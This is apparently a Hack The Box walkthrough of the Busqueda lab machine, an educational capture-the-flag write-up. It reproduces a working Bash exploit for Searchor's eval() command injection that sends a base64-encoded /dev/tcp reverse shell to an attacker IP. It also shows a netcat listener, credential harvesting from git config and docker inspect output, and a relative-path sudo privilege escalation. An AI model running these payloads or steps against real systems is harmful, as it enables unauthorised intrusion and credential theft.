Busqueda Icon

Hack The Box – Busqueda – Complete Guide

Busqueda Icon

Info

The information provided on this site is intended for educational purposes only. While we strive to offer accurate and up-to-date content regarding hacking and security, we cannot be held responsible for any misuse or illegal activity conducted with the knowledge gained from this site. Users are solely responsible for their actions and should use this information ethically and within the boundaries of the law.

Enumeration

Fist let’s start with a nmap scan as usual.

Nmap Scan

Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-26 08:51 -03
Nmap scan report for 10.10.11.208
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.42 seconds

Here we can see just 2 open ports, 22 and 80, let’s first check the HTTP server on our browser.

Initial analysis

On we first enter the site to tries to redirect us to http://searcher.htb/ so, let’s add this to /etc/hosts:

echo "10.10.11.208 searcher.htb"|sudo tee -a /etc/hosts

Nos going to http://searcher.htb/ we can see this:

This is an interface for a search app, but the interesting part is on the bottom, Powered by Flask and Searchor 2.4.0, on a quick google search we can find that Searchor 2.4.0 is vulnerable to Arbitrary command injection. I as able to find this exploit on GitHub made by nikn0laty:

#!/bin/bash -

default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash  -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"

echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"

if [ -z "${evil_cmd##*$plus*}" ]
then
    evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi

if [ $# -ne 0 ]
then
    echo "[*] Input target is $1"
    echo "[*] Input attacker is $2:${port}"
    echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
    curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else 
    echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example: 

./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi

Usage:

./exploit.sh site.com IP PORT

Using this exploit, we will be able to get a shell using netcat. On the exploit page, there is a brief comment on how the exploit works, there it says:


In file src/sarchor/main.py of Searchor <= 2.4.2 there is a function call eval():

@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval( # <<< See here 
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:
            click.echo("opening browser...")
      ...

Which can provide the ability to execute arbitrary code using functions such as:

  • __import__('os').system('<CMD>')
  • __import__('os').popen('<CMD>').read()
  • etc

That is not difficult to understand what is happening, on the eval() function there is a query argument that is not being sanitized, therefor, we can inject a string containing a single quote (‘) to close the existing single quote, than we can parse any commands we would like, in that case, ',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment. Which will create a reverse shell to our IP.

Alternatively you can open Burp Suite and manually use the curl commands use in the exploit to parse your commands, but this seems inefficient to me, we can just make a reverse shell and execute whatever command we want.

Gaining Access

As said before, we will use this exploit to get our reverse shell:

┌──(atropos㉿Atropos)-[~/tmp]
└─$ ls
exploit.sh  linpeas.sh

┌──(atropos㉿Atropos)-[~/tmp]
└─$ ./exploit.sh searcher.htb 10.10.14.12 8080
┌──(atropos㉿Atropos)-[~]
└─$ nc -lnvp 8080             
listening on [any] 8080 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.208] 38350
bash: cannot set terminal process group (1683): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ 

Once we get a reverse shell on our netcat we need to create a full shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo;fg
export TERM=xterm

Then we can get our user flag:

svc@busqueda:/var/www/app$ ls /home/svc
user.txt
svc@busqueda:/var/www/app$ 

Privilege Escalation

Ok, as usual we can try using sudo -l to see what are the commands we can execute as root, if any, but we can’t have much success with that for now. One thing we can try is using linpeas we see if it catches something interesting. There is some thins highlighted by linpeas, but I didn’t find a way to use then, maybe there is, but I didn’t want to dig deeper now.
My third approach is to look for some data leak in the machine. On the /var/www/app there is a git directory that we can look freely:

svc@busqueda:/var/www/app$ ls -al
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jul 26 13:59 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
svc@busqueda:/var/www/app$ cd .git
svc@busqueda:/var/www/app/.git$ ls
branches        config       HEAD   index  logs     refs
COMMIT_EDITMSG  description  hooks  info   objects
svc@busqueda:/var/www/app/.git$ cat config
[core]
		repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
svc@busqueda:/var/www/app/.git$

There on the url section we can see a fascinating thing, fist, in plain text user and password for the user cody, second, we can see a subdomain gitea.searcher.htb. First let’s try to use those credentials to login into ssh:

┌──(atropos㉿Atropos)-[~/tmp]
└─$ ssh svc@10.10.11.208 
svc@10.10.11.208's password:

<Snip>

svc@busqueda:~$ 

Well if worked, we had a shell already, but now we can try jh1usoih2bkjaspwe92 for a password for sudo -l. But let’s see another thing now, let’s add gitea.searcher.htb to /etc/hosts and try to access it:

┌──(atropos㉿Atropos)-[~/tmp]
└─$ echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts

Now let’s try to access http://gitea.searcher.htb

Ok, we have the credentials for cody, we can check for some other files, but those will probably be the app that on the machine. Now let’s try to use sudo -l using jh1usoih2bkjaspwe92 as password:

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

And there we have it, we can use a python3 script as root, in this case the /opt/scripts/system-checkup.py script let’s run it and see what it does:

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py -h
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Notice that on the sudo -l output, it shows a * in front of the script, this means that we need to provide some kind of argument to the script, so i just guessed the -h, but you could use anything to test it.

Out of the bat, we see some docker references, so the apps(gitea and mysql) that are running on this machine are running on dockers. We can check on docker’s status using systemctl:

The script we have access we can use the argument docker-ps, let’s see what it outputs:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   6 months ago   Up 2 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   6 months ago   Up 2 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Here we have access to the container ID for the containers in docker, we can probably use the other part of the script available to us, with the docker-inspect we can see some information about a docker container:

┌──(atropos㉿Atropos)-[~/tmp]
└─$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e

{
  "Hostname": "960873171e2e",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "22/tcp": {},
    "3000/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "USER_UID=115",
    "USER_GID=121",
    "GITEA__database__DB_TYPE=mysql",
    "GITEA__database__HOST=db:3306",
    "GITEA__database__NAME=gitea",
    "GITEA__database__USER=gitea",
    "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "USER=git",
    "GITEA_CUSTOM=/data/gitea"
  ],
  "Cmd": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],
  "Image": "gitea/gitea:latest",
  "Volumes": {
    "/data": {},
    "/etc/localtime": {},
    "/etc/timezone": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "/usr/bin/entrypoint"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "server",
    "com.docker.compose.version": "1.29.2",
    "maintainer": "maintainers@gitea.io",
    "org.opencontainers.image.created": "2022-11-24T13:22:00Z",
    "org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
    "org.opencontainers.image.source": "<https://github.com/go-gitea/gitea.git>",
    "org.opencontainers.image.url": "<https://github.com/go-gitea/gitea>"
  }
}

Here we can see the credentials for the administrator on the GITEA__database__PASSWD, in this case it is yuiu1hoiu4i5ho1uh. We can use those credentials on the gitea and check the source code of this python script that we have been using:

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output


def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 

        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)

        except Exception as e:
            print('Something went wrong')
            exit(1)

    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 

        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)


if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

On the full-checkup elif we can see that the script is using a relative path to execute the full-checkup.sh so we can create our own script in a folder that we can write and execute it. In this case, we just need to cat the /root/root.txt, but we could create a script with a reverse shell to get a root shell:

cat /root/root.txt

And there we have our flag.

Leave a Reply

Your email address will not be published. Required fields are marked *